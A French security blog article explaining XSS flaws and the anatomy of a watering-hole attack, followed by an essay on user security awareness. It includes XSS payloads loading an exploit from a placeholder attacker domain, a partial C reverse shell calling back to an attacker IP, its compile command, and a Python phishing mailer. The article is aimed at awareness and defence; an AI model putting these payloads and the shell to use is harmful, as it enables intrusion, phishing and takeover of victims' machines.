[Voix Off d’Enquête exclusive]

Vol de mot de passe, création de bot-net, la vie sur internet est devenue une jungle. Si nos antivirus et nos pare-feux nous assurent une protection contre les attaques automatisées les plus basiques, ils sont en général beaucoup moins efficaces pour nous protéger de nous-même…

[/Voix Off d’Enquête exclusive]

Aujourd’hui il existe énormément de moyens différents de prendre le contrôle de machines à distance. Via des injections SQL, des Remote File Inclusion (RFI) ou tout simplement car certains serveurs, applications, équipements, appareils donnent libre accès à leur système, protégés uniquement par un mot de passe trivial, ou pire “par défaut” (donc trouvable dans le documentation du produit) . Ces vulnérabilités et faiblesses de configurations sont généralement cherchées de façon automatique par des armées de bot via du “<Insert Search Engine Here> dorking” ou des scripts réalisant du scan + fingerprinting (identification d’OS / d’applications et de leur version).

Cet article présente un aperçu des attaques côté client (Client Side), qui exploitent les faiblesses de nos OS et des applications installées sur nos postes de travail. La particularité de ces attaques est de nous faire appuyer nous-même sur la détente, car oui, le levier principal de ce type d’attaque est l’inattention et la crédulité des utilisateurs.

Attention : bien entendu cet article n’a en aucun cas pour but de vous apprendre à piéger sans race de pauvres internautes, mais plutôt de vous aider à mieux comprendre ce qui vous menace sur le web… Et ce qui menace encore plus les non-initiés à la sécurité offensive ne trainant pas sur les blogs parlant technique… Et si cela vous permet de mieux vous en protéger, et de mieux protéger vos proches ou votre société, alors cet article n’aura pas été écrit pour rien.

Avant-propos : Cet article est resté dans le tiroir plus de 5 ans. Il a initialement été rédigé par 0x0c et fait partie de ces articles inachevés que je (0x0ff.info) vais essayer de publier dans les prochains mois.

Une attaque côté client c’est quoi exactement  ?

Cette famille d’attaques opère directement sur la machine des utilisateurs (contrairement aux attaques “côté serveur” (SQLI, RFI, etc.)) en tirant partie de la faible vigilance des humains opérant ces terminaux.

En général ce type d’attaque tente d’exploiter les failles (ou “features” lol) d’un ou plusieurs clients logiciels (lecteur PDF, éditeur de texte, navigateur internet, environnement Java, etc.) afin d’obtenir des informations sensibles (cookies, identifiants, numéro de CB, etc.) ou carrément de prendre le contrôle des postes de travail infectés.

Le périmètre d’attaque dans les entreprises et en dehors de ces sociétés est très très large de part la multitude d’OS et de logiciels qui sont installés sur les terminaux (postes de travail, ordinateurs personnels, smartphones, objets connectés, etc.) et qui plus est dans des versions différentes d’un appareil à l’autre !

Pour fonctionner ces attaques ont généralement besoin que les utilisateurs réalisent une action sur leur système ou leur application “de façon légitime” (légitime du point de vue du système, de l’anti-virus et autres moyens de préventions installés sur le poste de travail), par exemple activer les macros d’un fichier Excel. Pour ce faire, elles cherchent à exploiter la crédulité des humains derrières les machines, il est donc très difficile de s’en prémunir efficacement avec des moyens purement techniques…  C’est pourquoi pour réduire efficacement l’impact de ce type d’attaques, il est nécessaire de prodiguer une éducation bienveillante aux utilisateurs profanes.

Dans cet article nous présenterons la construction d’une attaque côté client dit “de point d’eau”. Mais tout d’abord, il est absolument nécessaire de comprendre ce que sont les vulnérabilités appelées XSS (Cross–Site Scripting). Ce sera donc l’objet du prochain chapitre.

Qu’est-ce que le XSS ?

Note : Si vous êtes familier du sujet, vous pouvez passer complètement ce chapitre.

Difficile à croire que c’est la première fois que l’on parle vraiment de XSS sur ce blog tellement ce genre d’attaques constitue la base de la sécurité offensive. Car oui lorsque l’on commence à étudier le sujet ou que l’on débute les challenges et CTF  sur des sites comme www.newbiecontest.org, root-me.org, www.hackthebox.eu, on commence presque toujours par creuser les injections SQL et les failles XSS.

Il s’agit ici de présenter de façon succincte le principe de base de ces vulnérabilités, afin que l’article se suffise à lui-même en terme de contenu (le sujet est traité en détail, en long en large et en travers, sur tous les internets, et vous pouvez trouver des présentations techniques plus ou moins détaillées sur à peu près tous les sites parlant de sécurité offensive).

Dans cette rapide présentation, nous allons nous intéresser exclusivement aux failles XSS JavaScript étant les plus communes.

Il existe deux types de faille XSS :

• XSS stocké : qui est une faille qui va être stockée de façon permanente sur le serveur,
• XSS à la volée : qui n’est réalisable qu’à travers un Input client (HTTP GET, HTTP POST, etc.).

Comme nous allons le voir, ces deux failles ont exactement la même origine : un mauvais traitement des saisies utilisateurs dans le code de la page vulnérable.

Le XSS stocké

Il est réalisable lorsqu’un site stocke et affiche des données saisies par un ou plusieurs clients. C’est par exemple le cas des forums qui permettent à de multiples utilisateurs de laisser un commentaire.

Si l’application web ne traite pas correctement les requêtes émises par les utilisateurs, alors il devient possible de détourner l’usage initial en intégrant à un poste un bout de code.

Par exemple en tapant comme message :

<script>alert("Bah voilà!")</script>

L’objectif d’un attaquant étant de prendre le contrôle de votre poste, plutôt que d’afficher un message pour le lolz, il tentera plutôt d’utiliser un module de son cru exploitant une vulnérabilité de votre navigateur, ou bien un exploit clé en main style BeEF, autopwn ou metasploit :

<img src="//<domaine_pirate>/autopwn" border='0' width='1' height='1'>

La contre-mesure à ce style de problématique est de l’entière responsabilité du propriétaire du site malheureusement. Il s’agira pour lui de veiller à bien assainir tous les inputs utilisateurs, en filtrant chaque donnée qui serait envoyée par le client afin de détecter et de désactiver tout code qu’un attaquant tenterait d’injecter. Vous pouvez vous référer au site d’OWASP pour cela.

Le XSS à la volée

Supposons maintenant que votre site ne stocke pas de données clientes mais qu’en revanche des inputs utilisateurs soient traités (et mal traités) par du code côté client (généralement du JavaScript) .

Imaginons par exemple le code suivant, indiquant que la page n’existe pas :

<?php echo "Page ".urldecode($_SERVER[REQUEST_URI])."Not Found"; ?>

Et bien il va être tout à fait possible de réaliser quelque chose comme cela :

http://<domain_leggit_but_vulnerable>/Vous allez être redirigé, veuillez patienter...<img src='//<domaine_pirate>/autopwn' border='0' height='1' width='1'> \<script>setTimeout(function(){top.location="//forum/"},5000);</script>

Légende :

• En Gris : l’adresse de la page vulnérable,
• En Bleu : La phrase rassurante
• En rouge : Le chargement du malware sur le navigateur client,
• En Vert : Une fonction de redirection après l’exécution du malware.

Côté utilisateur :

Alors évidemment, nous aurons un chargement uniquement sur l’URL un peu louche : http://<site_vulnerable>/Vous%20allez…, mais il est toujours possible de masquer l’adresse du lien en utilisant un site tel que bitly.com ou autres… Et une fois que le malware est chargé côté client, bah.. vous l’avez dans l’os.

La contre-mesure à ce style de problématique est cette fois partagée. Bien entendu, à l’instar des XSS Stockées, il incombe au propriétaire du site vulnérable de veiller à bien contrôler le contenu de tous les inputs utilisateurs avant de les utiliser. Mais il est également de la responsabilité de chacun, de vérifier vers quoi pointent les liens et de ne pas immédiatement cliquer sur tout contenu semblant douteux, reçu par email ou posté sur un forum ou un réseau social. – Vous pouvez vous référer au site d’OWASP pour cela.

Anatomie d’une attaque de point d’eau (Watering Hole)

Plutôt qu’un long discours, voyons ensemble un cas concret qui vous donnera une meilleure idée de la sournoiserie de ce type d’attaque. Laissez-moi vous présenter la technique très utilisée dite de “Point d’eau” (Watering Hole) qui s’articule en trois phases :

1. Identification de la cible : le but étant de maximiser la qualité de l’attaque et la quantité de cibles, la phase préliminaire va consister en l’étude et l’apprentissage des usages internet de la population plus ou moins large qui sera la cible de l’attaque.
2. La création d’un “point d’eau” : le point d’eau est la page piégée (généralement via l’exploitation d’une faille XSS) qui va permettre au pirate d’attaquer ses victimes grâce à l’injection d’un morceau de code malveillant. Cette page contient généralement le contenu recherché par les victimes ciblées afin d’éviter tout soupçon.
3. La pêche : cette étape consiste à créer et envoyer des appâts aux potentielles victimes via différents vecteurs (emails, fausses bannières de pub, lien sur un forum, poste sur un réseau social, etc). Par exemple, si les complotistes sont la cible d’une telle attaque, alors il pourra s’agir d’un mail au titre pute à clic “ENFIN ! TOUT EST REVELE ! LE GOUVERNEMENT NOUS MENTAIT SUR …“.

Le succès d’une telle attaque est déterminé par l’équation suivante :

  [nombre de cibles potentielles]
x [ratio d'utilisation par ces utilisateurs de la ou des applications vulnérables ciblées]
x [ratio de furtivité]
x [ratio d'attractivité]
___________________________________________________________________________________________
= [nombre de victimes]

Ainsi pour mener à bien ce type d’attaque il est nécessaire de maximiser chacun de ces paramètres, une bonne R&D est donc la clé :

Identification de la cible :

Plus cette phase est réalisée minutieusement et plus l’attaque sera efficace. Le but de l’attaquant est de cibler le plus de victimes potentielles et de réussir à attaquer avec succès un maximum de terminaux. Car oui, généralement seul un faible pourcentage de la population visée va effectivement accéder à la page piégée, et seule une fraction de ces accès se fera via l’application vulnérable sur laquelle repose l’attaque.

Les données récoltées vont par exemple être :

• Centres d’intérêts : identifier le portrait sociologique de la cible est un excellent moyen de maximiser le nombre de clics. Qui sont-ils, quels sont leurs centres d’intérêts, quel est leur niveau de compétence technique, quel est leur niveau de vigilance (très bas pour les complotistes, cible très facile en l’occurrence).
• Moyens de communications : quels sont les sites habituellement consultés, quels sont les réseaux-sociaux utilisés, est-ce que l’email est un vecteur pertinent, etc. Autant de questions qui permettent de cibler un peu mieux la population visée.
• Moyens techniques utilisés : si l’attaquant est en mesure d’identifier les applications et OS utilisés par la population ciblée alors il n’aura pas besoin de s’éparpiller dans le développement de plusieurs attaques techniques ciblant plusieurs applications dans plusieurs versions. S’il est difficile d’identifier des habitudes techniques dans le cadre privé (si on reprend le thème de nos cibles : les complotistes), il est en général assez simple d’identifier les systèmes et versions logicielles utilisés au sein d’une entreprise… Par exemple.

Il est tout à fait imaginable qu’une étape préliminaire soit de récupérer des listes des emails, en dumpant une base SQL d’un forum (qu’on imaginera pour l’illustration, repaire d’anti-vaccins pro Raoultien).

Création d’un “point d’eau” :

La page piégée exploite généralement une faille de type XSS (Cross–Site Scripting), et est si possible hébergée sur un site légitime qui aura été détourné par l’attaquant (journalXY.fr par exemple). A défaut, la page permettant de réaliser l’attaque sera hébergée sur un site appartenant à l’attaquant qui aura probablement pris le soin d’acquérir un nom de domaine crédible (journalXY.tf par exemple, un peu plus flag mais tout de même efficace).

Cette page contiendra le code malveillant nécessaire à la récupération de certaines informations (cookies, mots de passes, numéro de CB, etc.) ou encore chargera carrément un malware sur le poste client (si la vulnérabilité exploitée donnait matière à réaliser un RCE), ce qui donnera à l’attaquant un accès pérenne et un contrôle total de la machine de la victime (transformant éventuellement le PC infecté en l’un des zombies d’un Botnet).

Si une RCE est exploitée alors le programme peut être un simple reverse shell en C tel que celui là (merci à l’OSCP pour cet exemple juste parfait) :

/******** Var **********/
WSADATA wsaData;
SOCKET server;
struct hostent *host1;
struct sockaddr_in hax;
STARTUPINFO ini_process;
PROCESS_INFORMATION info_process;

int main(int count, char **args)
{
WSAStartup(MAKEWORD(2,2), &wsaData);
SOCKET Winsock;
char hostname[17]="mon.IP";
int portnum=80;

/***
[...] Configuration de la Socket avec WSASocket
***/
/** Connexion de la socket ***/
WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);
/** Execution du shell ***/
memset(&ini_process,0,sizeof(ini_process));
ini_process.cb=sizeof(ini_process);
ini_process.dwFlags=STARTF_USESTDHANDLES;
ini_process.hStdInput= ini_process.hStdOutput = ini_process.hStdError = (HANDLE)Winsock;
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NO_WINDOW,NULL,NULL,&ini_process,&info_process);
return 0;
}

Compilé ainsi :

#> i586-mingw-gcc -o /var/www/winini.exe malware.c -lws2_32

Et plus le scope d’applications vulnérables intégrées à l’attaque est large et plus le nombre de victimes potentielles sera élevé. Par exemple disons que soit visée la population complotiste naviguant uniquement sur les versions de Google Chrome x.b.12345 à y.t.1337 sur Windows, sont donc exclus tous les utilisateurs MAC, Linux, Firefox, Smartphone, etc…

En creusant un peu les outils et frameworks actuels (metasploit, SE-Toolkit, BEEF XSS, autopwn, etc.) on se rend vite compte que beaucoup BEAUCOUP! de choses sont possibles, et sans forcément une grande expertise…

La furtivité est aussi un facteur essentiel, et c’est encore là où la qualité technique fait la différence. Plus l’attaque est bien pensée et bien cachée et moins l’utilisateur se doutera qu’il y a quelque chose de louche et moins le système et les applications attaqués tenteront de se défendre .C’est pourquoi trouver un vrai site officiel vulnérable est généralement gage d’efficacité.

Note : de bons exemples de furtivité et d’obfuscation se trouvent dans l’étude des attaques de type ransomware qui se basent souvent sur l’envoi par mail d’un document bureautiques (.docx, .xlsx, .pdf, etc.) contenant des macros. Ce code est généralement obscurci (voir Code impénétrable) pour tromper les anti-virus et autres solutions de sécurité, et inclut généralement que deux choses : une fonction custom de chiffrement/déchiffrement et une fonction de téléchargement d’un payload malveillant chiffré (custom). Lorsque le document est ouvert et que la macro est utilisée, le document récupère le payload, le déchiffre à la réception et exécute le programme d’attaque ainsi récupéré.

Mais pour que le point d’eau soit réussit, la technique ne suffit pas. Il est absolument nécessaire de proposer une page crédible qui n’éveillera pas les soupçons. Le mieux étant de générer une réaction positive mais non marquante afin que l’utilisateur oublie au plus vite avoir accédé à la page et ne partage pas la page.

Dans le cas de nos complotistes il pourra s’agir d’un texte bateau expliquant pourquoi la 5G est une technologie achetée à la fédération galactique de l’homme vert Oriana. Le complotiste adhérera probablement au texte (diminuant sa vigilance) et passera à autre chose en quête d’autres vérités à consommer.

Cela peut paraître contre intuitif, mais il n’est probablement pas très efficace de donner envie à la victime de partager la page, car si d’un côté le nombre de cibles augmente légèrement, le risque que l’attaque soit détectée quant à lui explose ! Il suffit d’une seule personne découvrant le pot aux roses pour que la supercherie soit exposée au grand jour.

La pêche :

Contrairement à des attaques de phishing ou les cibles sont aléatoires, dans le cas d’une attaque de point d’eau on parlera plutôt de spear phishing ou de hameçonnage ciblé.

Une pêche réussie est dépendante de deux grand facteurs :

• Nombre de cibles : ces attaques ratissent généralement large, privilégiant quantité à qualité. L’utilisation simultanée de plusieurs vecteurs est généralement un moyen efficace de cibler un grand nombre de personnes (réseaux sociaux, mails, forums, etc.). En effet la durée de vie de ce type d’attaque est généralement court, de quelques heures à quelques jours, il faut donc cibler en masse et rapidement,
• Attractivité : il est nécessaire de donner envie de cliquer. Plus l’appât sera convaincant et pertinent pour la cible et moins l’utilisateur aura de doutes. En restant dans le thème d’une cible complotiste, on peut sans trop de risques penser que ces personnes seront enclines à cliquer sur des liens promettant une grosse révélation sur les machinations du gouvernement reptilien Illuminati,
• Mimétisme et crédibilité : à l’instar du point d’eau il est nécessaire que l’email paraisse convenable. Cela peut être fait en recopiant les entêtes et le formaliste d’une newsletter d’un site légitime (mimétisme). Ou si le courrier prétend être émis par une personne, il reprendra le ton attendu par l’émetteur usurpé, les tics de langage, les abréviations ou les éventuels smileys.

Bien entendu tout ça est souvent scripté, automatisé, industrialisé (par exemple en Python) :

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import getpass
import time

# Identifiant du serveur SMTP
user=raw_input("\nUser :")
# Mot de passe du serveur SMTP
password= getpass.getpass("\nPassword : ")
# Variables du mail
mail_from ="anonymous@1337.com"
mail_to = "target@test.com"
mail_subject = "test 0x0ff"
file_body="mon_email.html"
# Header du mail
msg = MIMEMultipart('alternative')
msg['Subject'] = mail_subject
msg['From'] = mail_from
msg.set_unixfrom("From "+mail_from+" "+time.asctime(time.localtime())) 
# Création du corps du mail (plain-text/HTML)
body="" 
fp = open(file_body,'r')
for line in fp:
 body = body+line
fp.close()
# Authentification
s = smtplib.SMTP('mail_server.com:587')  
s.ehlo("anonymous")
s.starttls()
s.login(usr, password)
part = MIMEText(body, mail_type)
msg.attach(part)    
msg['To'] = mail_to
# Envoi du mail
s.sendmail(mail_from, mail_to, msg.as_string())
s.quit()

Tout ça pour dire Quoi ?

Et bien tout ça pour dire que, même s’il existe des mesures techniques de protection, la sécurité est l’affaire de tous. Du développeur de site web à l’utilisateur, en passant par les équipes en charge du SI de leurs sociétés, et bien sûr des équipes de sécurité.

La sensibilisation aux risques et l’éducation à la sécurité informatique font partie des clés de la sécurisation de nos réseaux et équipements personnels et d’entreprises. Et cette éducation ne peut pas se faire qu’auprès des professionnels de l’informatique.

Il est évident que l’éducation des équipes techniques aux réalités offensives est très bénéfique. Et on peut espérer qu’elle entraîne une réduction conséquente des périmètres d’attaques (techniques) grâce à l’application de bonnes pratiques comprises par le concepteur (et non pas juste appliquées pour passer une quelconque validation). Mais il ne faut pas négliger l’importance d’une base utilisateurs éduquée et impliquée dans la sécurité informatique qui est tout aussi souhaitable, permettant de réduire significativement l’impact des attaques de type client-side, phishing et même de social engineering.

Malheureusement, cette éducation n’est aujourd’hui réalisée que dans le domaine professionnel (et encore pas partout), alors qu’elle pourrait se faire tout azimut (dans les écoles, dans les cercles privés et familiaux, ainsi que dans le domaine public, par le gouvernement, etc.). Contrairement à ce qui a été fait ces 20 dernières années (on se rappellera de l’affaire Krash.in), ce n’est pas en essayant d’interdire la diffusion des connaissances en sécurité informatique que l’on protège efficacement les internautes. Bien au contraire, le manque de visibilité et l’apparent caractère ultra confidentiel de nos domaines (du point de vue du grand public) est très certainement en partie responsable de l’insouciance des internautes… C’est pourquoi il me parait salutaire d’offrir rapidement un accès vulgarisé à cette culture et ces connaissances, et j’ai espoir (vain ?) que la démocratisation de ce savoir augmentera le niveau d’implication et de vigilance de façon générale.

Quant à la méthode de transmission, je ne peux m’empêcher d’émettre un avis très critique sur la réalité que j’observe. Ce type de sensibilisation (dans le milieu professionnel) est souvent vue comme une corvée, voir une insulte. Et ma foi, c’est bien de notre faute. Descendons de nos grands chevaux, nous professionnels de la sécurité. La vulgarisation est souhaitable et l’apprentissage ne se fait pas avec 4 slides powerpoint et un QCM pompeux à remplir chaque année, c’est un travail de fond. A ce titre, il faut que ce soit agréable pour le destinataire de ces enseignements, car sinon il décroche. Voire en braquant l’utilisateur, cet échange sera probablement contre-productif, et il se peut que la personne devienne activement réfractaire, par esprit de contradiction.

Pour être efficace, il est donc nécessaire d’être bienveillant dans notre approche, et il est aussi primordial d’adapter le discours à l’audience. Car il faut bien se faire à l’idée que cette sensibilisation ne pourra pas être aussi poussée pour tout le monde. Adaptons donc nos discours en fonction du public. Chaque groupe : vos parents, vos enfants, les équipes techniques, les managers ou les utilisateurs d’un SI d’entreprise nécessite d’être traité indépendamment sur le contenu de ces échanges. La forme, elle, doit restée attrayante et agréable. C’est en offrant un accompagnement dans cette progression que l’on agira le plus efficacement sur le niveau global. C’est en impliquant et en responsabilisant les utilisateurs plus qu’en contraignant leurs usages que les mentalités évolueront.

Ainsi, si vous faites partie d’une équipe de SSI, je vous pose la question, avez-vous déjà réfléchi à vos méthodes ? Etes-vous certain de ne jamais tomber dans l’abus d’autorité ni dans un biais d’auto-complaisance ? N’adoptez-vous pas parfois, de façon inconsciente, une posture de gardien de la morale et du savoir ? Etes-vous bien sûr de ne pas être paternaliste et condescendant dans votre communication ? N’infantilisez-vous pas vos utilisateurs “incapable d’utiliser leurs propres outils ces gros nazes” ? En somme êtes-vous vraiment convaincu que la relation verticale tuteur/élève est la meilleure des méthodes ?

Personnellement je suis convaincu qu’il y a aujourd’hui un malaise… Ne soyons pas imbus de nous mêmes ni trop fiers de nos méthodes, car nous sommes probablement responsables (au moins partiellement) des réactions épidermiques que la sécurité informatique déclenche chez certains… À tort et à raison, nous sommes vu par certains comme une bande de brutes un peu sectaire et arrogante…

Et pourtant le constat est clair, l’échec est cuisant et il n’y a pas matière à fanfaronner. Aujourd’hui, plus de 20 ans après l’avènement du net grand public, les utilisateurs n’ont toujours pas une bonne hygiène d’utilisation de l’outil informatique. Pire, les professionnels de l’IT ne possèdent pas tous ce vernis de connaissance. Et comment peuvent-il lutter contre la multitude d’attaques lorsqu’ils ne sont pas en mesure d’identifier les armes qu’on leur oppose ?… Certes ces principes ne sont pas forcément enseignés dans les écoles et universités (lorsque la sécurité n’est pas le sujet de la formation) ce qui constitue un manque indéniable, cependant nous pouvons également être montrés du doigt, car après tout nous n’avons peut-être pas ramé dans la bonne direction.

Heureusement la tendance s’est un peu inversée du côté des professionnels de l’informatique. Le hacking et le DIY ont le vent en poupe, la sécurité offensive s’est faite elle aussi plus accessible. Notre communauté a murie et s’est ouverte, se faisant accueillante et attrayante. Ainsi un grand merci aux acteurs français qui ont permis et permettent encore de rendre accessible ce savoir : www.newbiecontest.org, root-me.org, La nuit du Hack, LeHack, hackndo.com, grehack.fr, reflets.info, SebSauvage, La Quadrature du Net, Kali Linux Fr, … je vous invite à compléter cette liste de dizaines (centaines ?) de liens, je mettrai à jour l’article en conséquence si ça vous dit.

Bravo à @Bnux7 pour avoir deviné le thème de l’article (voir ce Tweet), et mention spéciale à @Asiorak qui était lui aussi tout proche !